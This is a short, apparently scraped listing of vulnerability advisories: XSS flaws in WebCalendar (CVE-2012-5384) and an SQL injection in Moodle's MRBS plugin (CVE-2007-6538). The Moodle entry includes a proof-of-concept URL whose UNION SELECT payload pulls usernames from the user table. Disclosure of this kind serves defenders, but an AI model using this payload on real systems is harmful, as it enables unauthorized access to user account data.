CVE-2012-5384

Multiple cross-site scripting XSS vulnerabilities in Craig Knudsen WebCalendar allow remote attackers to inject arbitrary web script or HTML via the 1 $name or 2 $description variables in editentryhandler.php, or 3 $url, 4 $tempfullname, or 5 $extusers variables in viewentry.php, different vector...

CVE-2007-6538

SQL injection vulnerability in ing/blocks/mrbs/code/web/viewentry.php in the MRBS plugin for Moodle allows remote attackers to execute arbitrary SQL commands via the id parameter...

Moodle SQL Injection

Moodle.org PATH/moodle/ing/blocks/mrbs/code/web/viewentry.php?id=SQL&day=27&month=10&year=2007 And a POC: PATH/moodle/ing/blocks/mrbs/code/web/viewentry.php?id=200020UNION20SELECT20username,id,id,id,id,id,id,id,id,id,id,id20FROM20mdluser20WHERE20id=ID&day=27&month=10&year=2007...